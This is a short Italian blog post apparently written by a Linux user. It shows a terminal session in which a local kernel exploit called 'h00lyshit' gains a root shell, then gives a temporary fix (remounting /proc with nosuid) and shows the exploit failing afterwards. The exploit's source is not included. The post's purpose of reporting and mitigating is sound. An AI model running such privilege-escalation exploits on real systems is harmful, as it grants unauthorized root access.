Fabio Invernizzi

azz… me ne sto’ in ferie una settimana ed esce uno degli 0day peggiori degli ultimi tempi :-/

fabio@gnu:~$ ./h00lyshit /opt/movie/stallman/stallman_20050224.avi

preparing
trying to exploit /opt/movie/stallman/stallman_20050224.avi

sh-3.1# id
uid=0(root) gid=1000(fabio)
groups=4(adm),24(cdrom),29(audio),44(video),112(scard),1000(fabio),9904(grtpe)
sh-3.1# exit

FIX: (fino alla ricompilazione del kernel)

fabio@gnu:~$ sudo mount -o remount,nosuid /proc/
Password:
fabio@gnu:~$ ./h00lyshit /opt/movie/stallman/stallman_20050224.avi

preparing
trying to exploit /opt/movie/stallman/stallman_20050224.avi

sh-3.1$ id
uid=1000(fabio) gid=1000(fabio)
groups=4(adm),24(cdrom),29(audio),44(video),112(scard),1000(fabio),9904(grtpe)